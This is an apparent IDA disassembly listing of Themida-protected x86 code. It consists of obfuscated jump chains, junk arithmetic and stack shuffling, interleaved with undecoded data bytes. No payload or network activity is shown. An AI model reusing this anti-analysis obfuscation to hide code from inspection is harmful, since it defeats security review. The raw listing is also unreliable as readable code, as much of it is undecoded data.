		dd 31D831C3h, 0B4EB81C3h, 0E98C43AEh, 0F86h, 5C240433h
		dd 240CD366h, 0E3B9E99Ch, 8966FFFEh, 0E668241Ch, 0E900007Fh
		dd 0FFFF8E99h, 2454015Fh, 246C8104h, 65195804h,	24148B7Bh
		dd 0C880E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571C0A:				; CODE XREF: Themida_:005670C8j
		push	ebx
		jmp	loc_57493F
; ---------------------------------------------------------------------------


loc_571C10:				; CODE XREF: Themida_:0056B13Ej
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_57118D
; ---------------------------------------------------------------------------
		dw 487h
		dd 89565C24h, 4C681E6h,	81000000h, 4EEh, 24348700h, 0FFD8B9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571C39:				; CODE XREF: Themida_:005674C8j
		pop	eax
		xor	eax, 47252180h
		mov	ebp, [esp]
		push	eax
		push	esp
		jmp	loc_5658C0
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240483h, 4C6815Eh, 55000000h, 4BDh,	5DEE0100h, 0E9243433h
		dd 0FFFFEB5Ch
; ---------------------------------------------------------------------------


loc_571C68:				; CODE XREF: Themida_:0056831Bj
		mov	[esp], edi
		mov	edi, 1190E110h
		jmp	loc_56E39C
; ---------------------------------------------------------------------------
		db 5Ah,	51h, 0F7h
		dd 0E9592414h, 0FFFF6C3Fh
; ---------------------------------------------------------------------------


loc_571C80:				; CODE XREF: Themida_:0056396Ej
		add	esp, 4
		jmp	loc_571DA1
; ---------------------------------------------------------------------------
		db 56h
		dd 83E95E54h, 81FFFF6Ah, 4ECh, 243C8900h, 935DAFBFh, 0FE9477Ah
		dd 81FFFEE5h, 22CAC5C3h, 5BDA0106h, 7CA0C281h, 0EA8131BAh
		dd 0E3036DEh, 0E46C281h, 54E94683h
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571CC7:				; CODE XREF: Themida_:0056DB15j
		and	eax, ebp
		mov	ebp, [esp]
		jmp	loc_568776
; ---------------------------------------------------------------------------


loc_571CD1:				; CODE XREF: Themida_:00571998j
		mov	esi, 725C5459h
		jmp	loc_569639
; ---------------------------------------------------------------------------


loc_571CDB:				; CODE XREF: Themida_:0056415Ej
		xor	edi, [esp]
		jmp	loc_56C8E9
; ---------------------------------------------------------------------------
		db 52h
		dd 0B1510CB6h, 59E18040h, 0FEFFBBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571CF1:				; CODE XREF: Themida_:00566E23j
		pop	edx
		inc	al
		not	al
		jmp	loc_5703E6
; ---------------------------------------------------------------------------


loc_571CFB:				; CODE XREF: Themida_:0056C0EEj
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_562291
; ---------------------------------------------------------------------------
		dd 4C581h, 0ED830000h, 74FF5504h, 0E95D0424h, 3381h, 0F685658h
		dd 8B3E640Bh, 7CE92434h, 50FFFEE2h, 20E9E089h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571D33:				; CODE XREF: Themida_:0056E43Ej
		pop	esi
		add	esp, 4
		xchg	eax, edx
		xchg	eax, ebx
		xchg	edi, ebx
		jmp	loc_56989A
; ---------------------------------------------------------------------------
		db 52h
		dd 0C281E289h, 4, 4C281h, 14870000h, 2B3AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571D5A:				; CODE XREF: Themida_:00570A16j
		push	edi
		push	ebx
		mov	ebx, 117C5E6Ah
		mov	edi, 117C5E6Eh
		jmp	loc_568E23
; ---------------------------------------------------------------------------


loc_571D6B:				; CODE XREF: Themida_:0056123Aj
		mov	edx, 672F0506h
		add	ecx, edx
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		push	5D9Ch
		mov	[esp], ebx
		push	40h
		push	dword ptr [esp]
		jmp	loc_560C2D
; ---------------------------------------------------------------------------
		dw 433h
		dd 24248B24h, 0FF3B4BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571D99:				; CODE XREF: Themida_:00562D32j
		mov	esi, [esp]
		jmp	loc_562CF0
; ---------------------------------------------------------------------------


loc_571DA1:				; CODE XREF: Themida_:00571C86j
		xor	ecx, 20D24751h
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5633F7
; ---------------------------------------------------------------------------
		db 81h
		dd 0B108246Ch, 0E93DF066h, 0FFFF5C47h, 57DC581h, 148B3536h
		dd 635E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571DD6:				; CODE XREF: Themida_:005725B6j
		pop	eax
		mov	ebp, edi
		pop	edi
		sub	[esp+4], ebp
		pop	ebp
		pop	dword ptr [edi+24h]
		push	63DDh
		mov	[esp], ecx
		push	ebx
		pop	ecx
		jmp	loc_56495E
; ---------------------------------------------------------------------------
		db 0C1h, 0E2h, 5
		dd 0E004BF57h, 0FA01FDFDh, 0CAD4E95Fh, 0BF57FFFFh, 4, 0FEFA33E9h
		dd 243489FFh, 7E3468h, 24248900h, 4240483h, 8B2434FFh
		dd 0C4832434h, 4EC8104h, 89000000h, 0E589242Ch,	4C581h
		dd 0C5830000h, 242C8704h, 0E924248Bh, 0FFFEEFF1h, 0B151F828h
		dd 7E1C058h, 0FF2F95E9h, 0FA015CFFh, 24E4E9h, 0E0895000h
		dd 405h, 42D00h, 4870000h, 0FC3EE924h, 0E789FFFEh, 0FF09D2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571E75:				; CODE XREF: Themida_:005751E5j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	3C38h
		mov	[esp], ebp
		dec	dword ptr [esp]
		jmp	loc_56EE4E
; ---------------------------------------------------------------------------


loc_571E91:				; CODE XREF: Themida_:00565627j
		sub	esi, 366B6D38h
		push	ebx
		mov	ebx, 25611359h
		shr	ebx, 7
		shl	ebx, 3
		inc	ebx
		xor	ebx, 0B32E7FDDh
		add	esi, ebx
		pop	ebx
		push	ecx
		jmp	loc_56513E
; ---------------------------------------------------------------------------


loc_571EB3:				; CODE XREF: Themida_:00572E06j
		sub	esi, 0E7FA5625h
		xor	esi, 19867FFBh
		sub	esi, 429967D8h
		add	edx, 4525C76h
		sub	edx, esi
		sub	edx, 4525C76h
		pop	esi
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
		db 83h,	0C2h, 2
		dd 0FF6A1CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571EE1:				; CODE XREF: Themida_:00564729j
		pop	ebp
		or	eax, eax
		jz	loc_565A8D
		push	dword ptr [edi+1Ch]
		jmp	loc_572F04
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815B24h, 4, 4EA81h, 9B680000h, 8900003Fh,	0CEE92414h
		dd 1000026h, 3BB850DAh,	81396207h, 1510B1EAh, 861AE905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571F22:				; CODE XREF: Themida_:005643BAj
		add	ebx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	ebx, 0F6F4F66h
		sub	ebx, eax
		jmp	loc_56AC07
; ---------------------------------------------------------------------------
		dd 0BD242C89h, 2B0B6B17h, 0FF3A2CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571F45:				; CODE XREF: Themida_:0056C139j
		shl	edx, 4
		sub	edx, 362AE4E1h
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		and	eax, 8427803h
		add	eax, 0FFFFB801h
		jmp	loc_57163E
; ---------------------------------------------------------------------------
		dd 0DAE9D801h, 81FFFFD6h, 4ECh,	0E5E5E900h, 0C89FFFFh
		dd 0F4E4E924h, 34FFFFFFh, 4D98E924h, 515BFFFFh,	320BE954h
		dd 0CF880000h, 66595A59h, 8124148Bh, 2C4h, 0E356E900h
		dd 0F531FFFEh, 0FF03ADE9h, 240C89FFh, 0FF8ED6E9h, 8734FFFFh
		dd 0FEDFE2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571FBD:				; CODE XREF: Themida_:0056D442j
		push	edi
		sub	dword ptr [esp], 1
		mov	edi, [esp]
		jmp	loc_56B6DD
; ---------------------------------------------------------------------------
		dw 13B1h
		dd 8B66C800h, 0DCE9240Ch, 29FFFFCEh, 5A042454h,	0FEDFBEE9h
		dd 74FF55FFh, 8F5D0424h, 665C2404h, 0E924148Bh,	0FFFFAB35h
		dd 5F2434FFh, 4C481h, 0B8500000h, 59347368h, 73632D48h
		dd 0C7015934h, 80E3E958h, 0F781FFFFh, 55D7FFBAh, 52A4EB81h
		dd 0A1E93765h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572023:				; CODE XREF: Themida_:00567A22j
		mov	edx, [esp]
		push	49ECh
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	edx
		push	ecx
		mov	ecx, 36AF4089h
		xor	ecx, 506E7B25h
		not	ecx
		jmp	loc_5633AC
; ---------------------------------------------------------------------------


loc_572044:				; CODE XREF: Themida_:00569BD5j
		xchg	ecx, [esp]
		pop	esp
		push	ecx
		mov	ecx, 663F3C2Eh
		push	ecx
		jmp	loc_57524C
; ---------------------------------------------------------------------------
		dd 3304E983h, 0C31240Ch, 240C3324h, 0FFF5FBE9h,	0D1F749FFh
		dd 0FA26F181h, 0CB29BFCEh, 0FF7752E9h
		db 0FFh
byte_572075	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0055FCF4o
		dd 592434FFh, 4C481h, 0CA680000h, 8900007Ch, 0E789243Ch
		dd 8904EC83h, 32BA2414h, 0F719125Eh, 0A6CA81DAh, 8153FA49h
		dd 1616C2h, 0FFD70108h,	815A2434h, 4C4h, 74296800h, 2C890000h
		dd 0E95D5424h, 0FFFFFC48h, 2EF3E981h, 515D791Ah, 42474FFh
		dd 81240C8Bh, 4C4h, 0B194E900h,	0F229FFFFh, 8324348Bh
		dd 0CA0104C4h, 0FF9403E9h, 6E94DFFh, 33FFFFF4h,	2C31242Ch
		dd 242C3324h, 0E924248Bh, 0FFFEDE9Fh, 2C581h, 0A0E90000h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57210B:				; CODE XREF: Themida_:00571056j
		push	254h
		mov	[esp], ebx
		mov	ebx, 74D25BB7h
		shl	ebx, 6
		jmp	loc_5695E4
; ---------------------------------------------------------------------------
		dd 8598E95Ch, 4BDFFFFh,	1000000h, 242C8BEBh, 4C481h, 1C330000h
		dd 241C3124h, 0FEFD33E9h
		db 0FFh
byte_572141	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055FE04o
aHpd		db '$hpd',0
		align 2
		dw 2C89h
		dd 0AA8DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572152:				; CODE XREF: Themida_:00570BB7j
		mov	eax, 7B631668h
		and	eax, 500A5759h
		push	ebp
		mov	ebp, 71A60967h
		or	eax, ebp
		pop	ebp
		and	eax, 12D673CBh
		neg	eax
		push	edi
		mov	edi, 3DD0456Bh
		add	eax, 2B8D6714h
		add	eax, edi
		sub	eax, 2B8D6714h
		pop	edi
		or	esi, eax
		pop	eax
		shl	esi, 2
		neg	esi
		jmp	loc_56AC4B
; ---------------------------------------------------------------------------
		dd 4C481h, 0EA010000h, 0FFD6BFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572199:				; CODE XREF: Themida_:0056CF78j
		add	esp, 4
		xor	ebx, [esp]
		jmp	loc_56C3D4
; ---------------------------------------------------------------------------
		dd 0C24E1BFh, 0FFC78167h, 81FFFFFFh, 0B86C7EF7h, 15E94757h
		db 3Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5721BB:				; CODE XREF: Themida_:0056C8DCj
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_566059
; ---------------------------------------------------------------------------


loc_5721C6:				; CODE XREF: Themida_:0056EA46j
		add	ebp, eax
		jmp	loc_56163D
; ---------------------------------------------------------------------------


loc_5721CD:				; CODE XREF: Themida_:0056D772j
		and	esi, 62FB7FA7h
		push	ecx
		push	edx
		push	33922A3Fh
		pop	edx
		xor	edx, 1042710Fh
		mov	ecx, edx
		pop	edx
		add	esi, ecx
		pop	ecx
		not	esi
		push	edi
		mov	edi, 0FF6A323h
		sub	esi, edi
		pop	edi
		jmp	loc_568829
; ---------------------------------------------------------------------------
		db 5Eh
		dd 7185C3B8h, 5BD801FFh, 8158C501h, 4C5h, 6A7AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57220E:				; CODE XREF: Themida_:00571847j
		xor	edi, 51C42F27h
		push	eax
		mov	eax, 86C20C46h
		add	edi, eax
		pop	eax
		mov	esi, edi
		pop	edi
		push	edi
		mov	edi, 7FFA4879h
		add	eax, 7AEA6268h
		jmp	loc_56F1CF
; ---------------------------------------------------------------------------


loc_572230:				; CODE XREF: Themida_:00562811j
		xchg	edi, [esp]
		pop	esp
		and	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_569193
		push	dword ptr [edi+1Ch]
		push	7C73h
		mov	[esp], eax
		jmp	loc_56993E
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 84h
		dd 2906165Ah, 0AB685FF8h, 0E9000007h, 0FFFEF78Fh
dword_572270	dd 0FF2434FFh, 81582434h, 4ECh,	241C8900h, 0B7E9E389h
					; DATA XREF: Themida_:0055FD50o
		db 2Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572287:				; CODE XREF: Themida_:00567247j
		sub	eax, 28ED49C1h
		xor	ecx, eax
		mov	eax, [esp]
		jmp	loc_561DFD
; ---------------------------------------------------------------------------
		dw 0E941h
		dd 0FFFEE373h, 1CF368h,	243C8900h, 243C8B54h, 0E904EC83h
		dd 0FFFFB896h
; ---------------------------------------------------------------------------


loc_5722B0:				; CODE XREF: Themida_:0056780Dj
		mov	eax, 40F77FAEh
		push	ecx
		jmp	loc_567173
; ---------------------------------------------------------------------------


loc_5722BB:				; CODE XREF: Themida_:0056B2F5j
		sub	ebx, esi
		sub	ebx, 2D166BBEh
		jmp	loc_563AD9
; ---------------------------------------------------------------------------
		dd 4BD55h, 0EB010000h, 4B8505Dh, 29000000h, 1C8758C3h
		dd 24248B24h, 0FF241489h, 5A042474h, 8B24048Fh,	34FF2424h
		dd 2434FF24h, 5624048Bh, 0C681E689h, 4,	4C681h,	0F7E90000h
		dd 68FFFF81h, 6C24h, 0FF93E0E9h, 240C8BFFh, 4C481h, 7CE90000h
		dd 0FFFFFEDCh, 1DE92434h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_57232B:				; CODE XREF: Themida_:0056BDC0j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5694CA
; ---------------------------------------------------------------------------


loc_57233B:				; CODE XREF: Themida_:00560AFFj
		pop	esi
		push	edi
		mov	edi, 5B461C9Ah
		and	esi, edi
		jmp	loc_571055
; ---------------------------------------------------------------------------
		db 1, 74h, 24h
		dd 3BFDE904h, 0E581FFFFh, 3CA454D2h, 1331B850h,	89254D91h
		dd 3578AE36h, 47FA38BEh, 0FEF72EE9h, 4EC81FFh, 89000000h
		dd 148B2404h, 54876824h, 4890000h, 56E08924h, 0FFF38DE9h
		dd 0F3874BFFh, 704E9h, 595A5900h, 2E9C388h, 81000015h
		dd 2C421CC5h, 0F5015835h, 5826ED81h, 565E501Ch,	350E9h
		dd 246C8100h, 99708C04h, 246C816Ah, 0AB068E04h,	24540144h
		dd 84E95704h
		db 22h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5723CB:				; CODE XREF: Themida_:005639E2j
		xor	esi, 63946F38h
		mov	edx, esi
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5743BF
; ---------------------------------------------------------------------------
		dw 0CB81h
		dd 0DA60A94h, 1BDFF381h, 0B7053DBFh, 0E95AA32Eh, 1220h
		dd 2474FF50h, 24048B04h, 507868h, 39BFE900h, 34FFFFFFh
		dd 0C4835D24h, 241C8704h, 3668665Ch, 1EE6E948h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_572426:				; CODE XREF: Themida_:005612A8j
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		and	eax, edx
		pop	edx
		jmp	loc_565787
; ---------------------------------------------------------------------------
		db 0C0h, 0EFh, 4
		dd 0E90BF780h, 1119h, 4C4835Eh,	8B242C87h, 0C8852424h
		dd 2954E99Ch, 0C8BFFFFh, 3A43E924h, 6859FFFFh, 3F55h, 0E9241C89h
		dd 166h, 24148B54h, 0FF4C8CE9h,	9CC138FFh, 0FEDB1EE9h
		dd 4BC581FFh, 1AB5AC1h,	242C8BEFh, 2904C483h, 9CEF81F7h
		dd 5E26A126h, 0AC7C7E05h, 5C9B2D38h, 0F8012484h, 845C9B05h
		dd 7C7E2D24h, 3C8B38ACh, 8B545624h, 76E92434h, 89FFFFF1h
		dd 0DEE92414h
		db 12h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5724C3:				; CODE XREF: Themida_:00566139j
		sub	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5701A7
; ---------------------------------------------------------------------------
		db 89h
		dd 4C281E2h, 57000000h,	4BFh, 5FFA2900h, 5C241487h, 0E9241C89h
		dd 0FFFF445Dh, 0F7554D4Dh, 0E95D2414h, 0FFFEE321h
; ---------------------------------------------------------------------------


loc_5724FC:				; CODE XREF: Themida_:00561368j
		xor	edi, 65502173h
		add	ecx, edi
		mov	edi, [esp]
		jmp	loc_562583
; ---------------------------------------------------------------------------
		dd 0FCCDE954h, 0E958FFFEh, 0FFFEDEB2h, 4DC768h,	243C8900h
		dd 9E468h, 24248900h, 0FF7FDFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57252D:				; CODE XREF: Themida_:00571389j
		pop	ebp
		sub	edi, 1BC1B39h
		add	edi, eax
		add	edi, 1BC1B39h
		add	edi, 63F30ABEh
		pop	eax
		jmp	loc_56BC6F
; ---------------------------------------------------------------------------
		dd 7B0EBCBDh, 4372E940h, 34FFFFFFh, 0C9E95924h
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57255B:				; CODE XREF: Themida_:0056412Fj
		mov	eax, 90A2E353h
		sub	edx, eax
		pop	eax
		xor	eax, edx
		pop	edx
		push	eax
		mov	eax, esp
		jmp	loc_56AF3F
; ---------------------------------------------------------------------------
		dw 0EF83h
		dd 74FF5704h, 0E95F0424h, 0FFFF4A6Dh, 0B8240489h, 5D8D363Ch
		dd 1E77BA52h, 40E96F12h
		db 5Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57258F:				; CODE XREF: Themida_:0056A9B8j
		mov	[esp], edx
		push	60945FDh
		jmp	loc_56BBC6
; ---------------------------------------------------------------------------


loc_57259C:				; CODE XREF: Themida_:00563E3Fj
		push	edi
		mov	edi, 42DD0CA6h
		or	edi, 57F4367Dh
		add	edi, 343A26E4h
		xor	ebx, edi
		pop	edi
		mov	edi, ebx
		pop	ebx
		xor	edi, eax
		jmp	loc_571DD6
; ---------------------------------------------------------------------------


loc_5725BB:				; CODE XREF: Themida_:00572A6Aj
		add	bl, 97h
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_569DDE
; ---------------------------------------------------------------------------


loc_5725D0:				; CODE XREF: Themida_:005742DAj
		pop	edx
		jmp	loc_566C55
; ---------------------------------------------------------------------------
		dw 0D468h
		dd 5B1E9A56h, 1A03BE56h, 0D6F765DBh, 0FFCA97E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5725E9:				; CODE XREF: Themida_:00566199j
		add	cl, dh
		add	cl, 7Fh
		mov	edx, [esp]
		push	eax
		push	esp
		pop	eax
		jmp	loc_56B72F
; ---------------------------------------------------------------------------
		db 0C1h, 0E2h, 3
		dd 0E23DBD55h, 0EA2910BFh, 5AD0015Dh, 28876856h, 1C890000h
		dd 14ADBB24h, 0DE895538h, 5EF0015Bh, 8904EC83h,	0E9572434h
		dd 0FFFF223Ah
; ---------------------------------------------------------------------------


loc_572628:				; CODE XREF: Themida_:0057121Cj
		or	dl, ah
		pop	ax
		jmp	loc_5667C4
; ---------------------------------------------------------------------------


loc_572631:				; CODE XREF: Themida_:0056006Fj
		mov	edx, [esp]
		jmp	loc_5610CE
; ---------------------------------------------------------------------------
		db 0C1h, 0EAh, 4
		dd 0FFFFB8E9h
		db 0FFh
aMhsy		db '¬h‘Y',0             ; DATA XREF: Themida_:0055FF1Co
		dw 8900h
		dd 0E950240Ch, 0FFFF7E9Ch, 243C8B59h, 0E904C483h, 7F9h
; ---------------------------------------------------------------------------


loc_57265C:				; CODE XREF: Themida_:00571A13j
		push	ax
		mov	ah, 0C7h
		sub	dh, ah
		pop	ax
		jmp	loc_567838
; ---------------------------------------------------------------------------


loc_572669:				; CODE XREF: Themida_:0056188Aj
		push	ebx
		jmp	loc_56565A
; ---------------------------------------------------------------------------
byte_57266F	db 0FFh			; DATA XREF: Themida_:0055FCF8o
		dd 669D1C77h, 2414D359h, 0D921E99Ch, 0C181FFFEh, 286C3D2Dh
		dd 7892C181h, 0E9810767h, 6DCC2713h, 0C1FFE983h, 45E908E1h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57269B:				; CODE XREF: Themida_:0056C3BAj
		pop	ecx
		jmp	loc_5693A8
; ---------------------------------------------------------------------------
		db 89h,	0F2h, 5Eh
		dd 67C6BD55h, 0B02D1E7Dh, 29793E7Fh, 7FB005E8h,	30E9793Eh
		dd 53FFFF03h, 0C381E389h, 4, 0FF5182E9h, 241C8BFFh, 0FF84FFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5726D1:				; CODE XREF: Themida_:00570597j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_569193
; ---------------------------------------------------------------------------


loc_5726EB:				; CODE XREF: Themida_:00574180j
		xor	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5728F1
; ---------------------------------------------------------------------------
byte_5726FB	db 57h			; DATA XREF: Themida_:0055FD90o
		dd 0FF4AF7E9h, 801FBEFFh, 0F5295790h, 0FFEB015Eh, 815D2434h
		dd 4ECh, 243C8900h, 0C781E789h,	4, 0FF2732E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572725:				; CODE XREF: Themida_:005739A4j
		push	174135EBh
		pop	edi
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		add	ecx, edx
		pop	edx
		push	3DE9h
		mov	[esp], eax
		jmp	loc_56936F
; ---------------------------------------------------------------------------


loc_572746:				; CODE XREF: Themida_:00573445j
		push	7BD2h
		jmp	loc_56B61F
; ---------------------------------------------------------------------------


loc_572750:				; CODE XREF: Themida_:00561E2Aj
		inc	edi
		not	edi
		add	edi, 62E85AC3h
		inc	edi
		jmp	loc_570BEC
; ---------------------------------------------------------------------------


loc_57275F:				; CODE XREF: Themida_:00561FAFj
		add	[esp+4], eax
		jmp	loc_56549E
; ---------------------------------------------------------------------------


loc_572768:				; CODE XREF: Themida_:0056C566j
		sub	ebx, 413A1557h
		shl	ebx, 1
		not	ebx
		sub	ebx, 0D315987Eh
		jmp	loc_560703
; ---------------------------------------------------------------------------


loc_57277D:				; CODE XREF: Themida_:00562FAEj
		add	esi, ecx
		add	esi, 6CD5132Dh
		push	ecx
		mov	ecx, 6B9519CBh
		add	esi, ecx
		pop	ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5696C6
; ---------------------------------------------------------------------------
		db 1
		dd 0C3EB81CBh, 0E959517Fh, 0FFFF0DE7h
; ---------------------------------------------------------------------------


loc_5727AC:				; CODE XREF: Themida_:00563FB9j
		push	225Eh
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_5736EC
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 0E9h
		dd 0FFFFADE1h, 0F6178468h, 0F9895F4Dh, 0FF5E9DE9h, 0B4E981FFh
		dd 0E900D056h, 0FFFF771Fh, 0FDC78166h, 0C5FDE999h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5727E6:				; CODE XREF: Themida_:0056443Cj
		xor	ebp, 394F2F70h
		push	7212h
		mov	[esp], edi
		jmp	loc_573A4F
; ---------------------------------------------------------------------------


loc_5727F9:				; CODE XREF: Themida_:0056926Bj
		sub	edi, 287E09D3h
		pop	ebp
		jmp	loc_560056
; ---------------------------------------------------------------------------
aMfsh1		db '¬fSh1"',0           ; DATA XREF: Themida_:0055FD78o
		dd 24148900h, 0D2F64BB2h, 0CA80DAF6h, 0D991E99Ah, 0F180FFFFh
		dd 0E07AE963h, 0C381FFFFh, 4, 4C381h, 1C870000h, 0C8F8E924h
		dd 96BAFFFFh, 8946FA22h, 12ACE9D5h, 5146FFFFh, 0FFD715E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57284D:				; CODE XREF: Themida_:0056C1F8j
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_560A69
; ---------------------------------------------------------------------------
		dd 0BF7BE950h, 0EC81FFFFh, 4, 0BE243489h, 4, 0FFC9DEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57287D:				; CODE XREF: Themida_:005662F4j
		sub	al, 4Ah
		sub	al, ch
		add	al, 4Ah
		add	al, 0E3h
		pop	ecx
		jmp	loc_56B2C4
; ---------------------------------------------------------------------------
		db 33h
		dd 0C31240Ch, 240C3324h, 6824248Bh, 3873h, 0FF7786E9h
		dd 3C335EFFh, 0AF1E924h, 58680000h, 8900000Eh, 4812424h
		dd 424h, 24048F00h, 81595451h, 4C1h, 4E98100h, 0E9000000h
		dd 0FFFFDACCh, 0EA81C229h, 59496BD2h, 432BE958h, 815EFFFFh
		dd 0E8638ACEh, 0C468532Bh, 5B00F829h, 0FF4EC6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5728F1:				; CODE XREF: Themida_:005726F6j
		sub	esi, 22CE2C9Bh
		add	esi, ebp
		add	esi, 22CE2C9Bh
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_567E2A
; ---------------------------------------------------------------------------
		db 52h
		dd 0FF0878E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572915:				; CODE XREF: Themida_:00563069j
		push	edx
		mov	edx, 660D7D8Ch
		shr	edx, 1
		push	ebx
		mov	ebx, 4B19791Bh
		push	edx
		mov	edx, 0FFFFFFFFh
		add	ebx, edx
		jmp	loc_568063
; ---------------------------------------------------------------------------
		dd 8704E983h, 895C240Ch, 47BE2434h, 0E900BAC6h,	0FFFEFA3Dh
		dd 0ADE9D989h, 1FFFF22h, 34FF58C1h, 24348B24h, 0FFD542E9h
		dd 24048BFFh, 81E18951h, 4C1h, 4B85000h, 0E9000000h, 0FFFFB12Dh
		dd 8324048Bh, 0C32804C4h, 8064B450h, 0E3001DEBh, 0E91DC380h
		dd 0FFFFD7A7h
; ---------------------------------------------------------------------------


loc_572988:				; CODE XREF: Themida_:00573FFBj
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_56B143
; ---------------------------------------------------------------------------
		db 1
		dd 0BF575AD3h, 3D6E7858h, 0FFD868E9h, 241C87FFh, 6824248Bh
		dd 5E59h, 0E9243489h, 0FFFF0CB3h
; ---------------------------------------------------------------------------


loc_5729B4:				; CODE XREF: Themida_:00560B5Cj
		xchg	edx, [esp]
		pop	esp
		push	ebp
		mov	ebp, 5862093Fh
		and	ebp, 65FC79E0h
		inc	ebp
		jmp	loc_567A7F
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 48B6624h, 0E3895324h, 186FE952h
		db 2 dup(0)
word_5729DA	dw 32FFh		; DATA XREF: Themida_:0055FE7Co
		dd 0FED5BEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5729E1:				; CODE XREF: Themida_:0056E4B0j
		sub	edi, 52944A64h
		sub	edi, 44635485h
		pop	edx
		push	edx
		mov	edx, 4
		jmp	loc_569F64
; ---------------------------------------------------------------------------
byte_5729F9	db 0ACh, 0E9h, 0CEh	; DATA XREF: Themida_:0055FEF4o
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5729FF:				; CODE XREF: Themida_:00569F13j
		xor	bl, 7Fh
		mov	ah, bl
		mov	ebx, [esp]
		add	esp, 4
		inc	ah
		push	edx
		mov	dl, 0E8h
		neg	dl
		not	dl
		neg	dl
		xor	dl, 76h
		sub	ah, dl
		pop	edx
		shr	ah, 1
		xor	ah, 12h
		jmp	loc_56406A
; ---------------------------------------------------------------------------


loc_572A28:				; CODE XREF: Themida_:00560E24j
		or	edx, eax
		shl	edx, 1
		push	752h
		mov	[esp], esi
		jmp	loc_574593
; ---------------------------------------------------------------------------
		db 0BAh, 0E2h, 6Fh
		dd 0EAC14461h, 0F9EA8107h, 0E994066Eh, 0FFFF9D1Dh
; ---------------------------------------------------------------------------


loc_572A4C:				; CODE XREF: Themida_:0057195Aj
		pop	eax
		jmp	loc_5665D4
; ---------------------------------------------------------------------------
		dw 5966h
		dd 8008E5C0h, 0EB881DC5h, 49CB8059h, 1BC8E9h
		db 0
; ---------------------------------------------------------------------------


loc_572A65:				; CODE XREF: Themida_:00566C17j
		add	bl, ah
		sub	bl, 4Ah
		jmp	loc_5725BB
